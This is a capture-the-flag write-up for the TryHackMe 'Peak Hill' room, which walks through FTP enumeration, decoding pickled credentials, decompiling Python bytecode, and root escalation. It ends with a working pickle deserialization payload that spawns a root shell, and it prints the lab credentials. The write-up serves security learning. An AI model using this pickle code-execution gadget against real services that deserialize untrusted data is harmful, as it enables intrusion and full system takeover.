Peak HIll (THM)

TryHackMe Peak Hill Write-Up

topics: scripting, Linux Privilege Escalation, data conversion, python pickles

  1. Enumeration

  2. Local Privilege Escalation

  3. Root Privilege Escalation

new tools: python pickle library, scp, uncompyle6

tools: nmapAutomator, ftp, python, nc

Enumeration

initial nmap scan ./autonmap.sh $ip Full

We have three total ports open, ftp (21), ssh (22),and swx (7321). We can see we have anonymous login permissions and a test.txt file on FTP, we should begin there.

ftp $ip

There is an additional hidden file on this ftp server named creds, lets download and inspect it.

This seems to be a jumbled binary mess, we can try and convert this file to ASCII with python and see if we can extract more information.

It returns an unreadable format within ASCII showing ssh_pass and ssh_user. This can identify that the file does contain credentials that we'll have to decode some other way. The room gives many hints towards python and pickles, leading to the use of the Python Pickle Library.

Local Privilege Escalation

The pickle library in python serializes objects so they can be saved to a file and loaded in a program. To unpickle the data, we can use the following program

#!/usr/bin/env/python

import pickle,os,sys

readMe = open("readMe", "rb") #open text file with the data
result = pickle.load(readMe) #unpickle the data

print(result)

The program properly returns the letters of the user and password but they are out of order. We can sort this using python, stripping all of the excess text and formatting the credentials in the correct order.

#!/usr/bin/env/python
import pickle,os,sys

readMe = open("readMe", "rb")
result = pickle.load(readMe)

user = [] #create an empty list for the username

for i in range(100):
    user.append('') #append a blank space to each element of the list

for b in result: #for each string in result
    if 'ssh_user' in b[0]: #if ssh_user is the first element of each set of the list
        i = int(b[0].replace('ssh_user', '')) #then replace ssh_user with a blank space (if you print i it prints the right order of ssh_user0, ssh_user1 etc)

        user[i] = b[1] #store the second element of the set (the letter of username) in the blank username array for each instance of i

print("username:" + ''.join(user)) #combine all sets of the list with no spaces remaining

pwd = []

for i in range(100):
    pwd.append('')

for a in result:
    if 'ssh_pass' in a[0]:
        i = int(a[0].replace('ssh_pass', ''))

        pwd[i] = a[1]

print("password:" + ''.join(pwd))

The program returned the credentials gherkin:p1ckl3s_@11_@r0und_th3_w0rld to login via SSH.

Lateral Movement

Lets check our id and any files in the current directory.

It seems there is another user on the box, a python bytecode file and we do not have sudo permissions. Lets run an OS enumeration script before inspecting the python bytecode.

./LinEnum.sh

There are two additional users vagrant and dill. The user.txt file is in dill's home folder, indicating the need for lateral movement.

The owner of the cmd_service.py file is dill, lets copy the file with scp and inspect the bytecode file.

scp gherkin@10.10.1.41:/home/gherkin/cmd_service.pyc .

The bytecode is unreadable, we'll have to decode it using uncompyle6

uncompyle6 was successful and we now have the original source code of cmd_service.py. Inspecting the source code reveals the credentials of dill to decode via python

We have the credentials dill:n3v3r_@_d1ll_m0m3nt for port 7321 which we can access via nc

As we have dill's permissions, we can view the private ssh keys and login to escalate our privileges to root

Root Privilege Escalation

Since we're now a different user lets recheck our sudo permissions

We have very specific permissions with the sudo command for the executable /opt/peak_hill_farm/peak_hill_harm

Inspecting the directory reveals that each file is owned by root and contains only one executable. Running the executable with sudo permissions reveals

"Failed to decode base64" what exactly does this mean? Without being able to view the source code we can assume this program accepts base64 input and decodes it.

As it is owned by root, we can convert a bash shell to base64 and input into the program to execute as root. We can also assume that because we've been working with pickled programs, that we'll need to pickle the data before encoding it in base64. These are two informative articles to read on pickling and arbitrary code. Unpickling programs is usually discouraged because they are known to contain malicious code.

#!/usr/bin/env/python

import pickle, base64, os, sys

class shell(object):
    def __reduce__(self):
        return (os.system,("/bin/bash",))
   
print(base64.b64encode(pickle.dumps(shell())))

Last updated